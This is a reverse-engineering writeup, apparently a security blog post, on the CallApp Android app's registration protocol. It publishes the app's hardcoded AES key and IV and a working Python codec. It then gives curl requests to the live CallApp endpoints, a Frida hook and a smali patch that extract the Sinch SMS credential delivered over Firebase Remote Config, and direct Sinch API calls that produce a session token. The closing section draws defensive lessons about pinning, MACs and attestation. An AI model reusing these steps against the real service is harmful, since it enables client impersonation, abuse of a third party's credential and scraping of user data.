CallApp is a widely installed Android caller-ID app. Two things about it are worth a writeup:

  1. The entire client/server protocol sits behind one static AES key with the IV reused as the key, no MAC, no pinning, no client attestation.
  2. The SMS verification provider’s credential is not in the APK at all. It rides in over Firebase Remote Config, so static analysis misses it.

This is random-in-layer, post one. We walk the registration handshake from APK to session token and document each layer as we hit it.

Tooling assumed: apktool, jadx, frida with frida-server on an x86 Android emulator, mitmproxy if you want to confirm traffic on the wire. None of this is rooted-only past Sinch key recovery, and the FRC cache trick wants root.

Layer 1: the static AES wrapper

Pull the APK, decompile with jadx, search for AES/CBC/PKCS5Padding. The crypto util class is small. The instance you care about:

private static final String K = "kjshadvfvn734mla";
 
public static String dec(String b64) throws Exception {
    SecretKeySpec k = new SecretKeySpec(K.getBytes(), "AES");
    IvParameterSpec iv = new IvParameterSpec(K.getBytes());
    Cipher c = Cipher.getInstance("AES/CBC/PKCS5Padding");
    c.init(Cipher.DECRYPT_MODE, k, iv);
    return new String(c.doFinal(Base64.decode(b64, 0)));
}

Key and IV are both kjshadvfvn734mla, sixteen ASCII bytes used twice. CBC with key == IV is academically broken (predictable first block) and CBC with no MAC is malleable, but neither matters here because the server accepts anything that decrypts to valid JSON and there is no signature anywhere in the protocol. The whole AES layer is content obfuscation, not authentication.

A working codec, both directions, because some endpoints want an encrypted request body and not just an encrypted response:

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import base64
 
K = b"kjshadvfvn734mla"
 
def dec(b64s: str) -> bytes:
    return unpad(AES.new(K, AES.MODE_CBC, K).decrypt(base64.b64decode(b64s)), 16)
 
def enc(pt: bytes) -> bytes:
    return base64.b64encode(AES.new(K, AES.MODE_CBC, K).encrypt(pad(pt, 16)))

Layer 2: mapping the API surface

URL constants live in a single helper class, usually obfuscated to a one or two letter name but findable by grepping the decompiled output for s.callapp.com. The endpoint set you will see for onboarding and lookup work:

pathrole
sucgstart user creation, get challenge
ustpnvuser setup, post-verification, returns token
gudget user data
csrchcontact search
cloutclient logout

All sit under https://s.callapp.com/callapp-server/, all accept application/x-www-form-urlencoded requests, all return AES-encrypted Base64 in the response body. The app does not pin certificates and its network_security_config.xml opts in to user-installed CAs, so a vanilla mitmproxy CA in the Android 7+ user trust store gives you cleartext on the wire with zero patching.

Common request parameters across endpoints:

parammeaningexample
mypyour phone number, URL-encoded%2B15551234567
cvcapp version code2250
cvversion string1.2.3
asiauth source id, 11 = SINCH_SMS11
ctclient type, 0 = Android0
tksession token, from ustpnv(returned later)

cvc is checked server-side. If you let it drift more than a few major versions behind the current Play Store build, sucg starts returning errors that look like protocol bugs but are actually a soft kill switch. Bump it when you bump the APK you are testing against.

Layer 3: the challenge call

curl -sk -X POST "https://s.callapp.com/callapp-server/sucg" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "myp=%2B15551234567&cvc=2250&cv=1.2.3"

Run the body through dec(). You get a small JSON object describing the verification method the server picked for that number. For US E.164 inputs it currently picks Sinch SMS and includes the parameters the SDK needs (timeout, allowed methods, etc).

What the response notably does not include: the Sinch application key. That value is held on the client. It got there over Firebase Remote Config the first time the app launched.

Layer 4: pulling the Sinch app key

Three options, in order of speed.

4a. Frida hook at the Sinch SDK boundary

The SDK consumer site is the easiest place to read the value, because it sees the fully assembled config object the moment before the SMS request goes out:

frida -U -n CallApp -e '
Java.perform(function() {
  var SV = Java.use("com.sinch.verification.SinchVerification");
  SV.createSmsVerification.implementation = function(ctx, cfg, listener) {
    console.log("[+] sinch app key: " + cfg.getApplicationKey());
    return this.createSmsVerification(ctx, cfg, listener);
  };
});'

If the Sinch SDK has been repackaged into com.sinch.android.verification.* in the version you are looking at, frida-trace -U -i "*SinchVerification*" -n CallApp surfaces the right class name in a few seconds.

4b. Firebase Remote Config on-disk cache

After first launch on a rooted emulator:

/data/data/com.callapp.contacts/files/frc/<sender-id>/firebase/PERSISTED_CONFIG

That file is a Protocol Buffers blob. Two ways to read it:

# quick and dirty: just grep printable strings
strings PERSISTED_CONFIG | grep -A1 -i sinch
 
# proper: decode with the FRC proto
protoc --decode_raw < PERSISTED_CONFIG | less

The Sinch key sits under whatever parameter name CallApp gave it (the FRC parameter names are not standardized across apps). It is usually obvious by inspection. grep-able strings around it include sinch, sms, verification.

4c. Smali patch to dump every FRC read

For the case where you want a complete picture of what the app is fetching from FRC, not just the Sinch key, decompile to smali, find every call into FirebaseRemoteConfig;->getString(, and inject a Log.i that prints both the parameter name and the returned value. Rebuild with apktool b, sign with apksigner, reinstall. Logcat now narrates the whole FRC dictionary as the app consumes it, including any keys that get added in future releases without you having to redo the work.

Layer 5: driving Sinch directly

With the app key in hand you can hit Sinch’s API exactly the way the SDK does internally:

curl -X POST "https://verification.api.sinch.com/verification/v1/verifications" \
  -H "Content-Type: application/json" \
  -u "application:${SINCH_APP_KEY}" \
  -d '{"identity":{"type":"number","endpoint":"+15551234567"},"method":"sms"}'

Sinch sends the code to your phone. The verification completes server-side once you POST the received code back to the same endpoint:

curl -X PUT "https://verification.api.sinch.com/verification/v1/verifications/number/+15551234567" \
  -H "Content-Type: application/json" \
  -u "application:${SINCH_APP_KEY}" \
  -d '{"method":"sms","sms":{"code":"123456"}}'

Now Sinch considers the number verified for this application, which is the signal CallApp’s backend will go look for in a moment.

Layer 6: closing the loop

Final call. Tell s.callapp.com that the SMS leg passed, accept the ToS, take a token:

curl -sk -X POST "https://s.callapp.com/callapp-server/ustpnv" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "myp=%2B15551234567&cvc=2250&cv=1.2.3&asi=11&ct=0&tosavn=1"

Decrypt and you get:

{"token":"<base64ish session token>","userId":"<integer>"}

token is the session credential. Every authenticated endpoint downstream takes tk=<token> as a parameter. You are now indistinguishable on the wire from a freshly installed copy of the app, on your own number, that has finished onboarding.

What is actually interesting here

The replay is the easy part. The interesting findings, the ones worth keeping in your head for the next mobile target:

  1. SDK boundaries leak credentials. When an app uses a third-party SDK (Sinch, Twilio, Auth0, Firebase Auth) in its authentication path, the credentials almost always pass through a small number of well-known constructor or builder calls on the SDK side. Hooking those is faster and more reliable than chasing the credential through the app’s own storage and config loading.
  2. Firebase Remote Config is the new place for the things that used to be hardcoded. Anything that the app clearly possesses but does not appear anywhere in the unpacked APK is, in 2026, probably riding in over FRC. The two places to dump are the frc/.../PERSISTED_CONFIG blob and the consumer call sites.
  3. No MAC plus no pinning plus no client attestation equals no client identity. A CBC blob that decrypts to JSON is not a client. CallApp’s backend has no cryptographic way to tell a request from the real Android client apart from a request from a Python script. Anything that depends on “only our app can talk to our server” needs at least one of: TLS pinning, an HMAC over the request body, a hardware-backed Play Integrity assertion. CallApp has none of those.

That last point is the actual finding worth understanding, and it generalizes to a depressing fraction of consumer Android apps with custom protocols.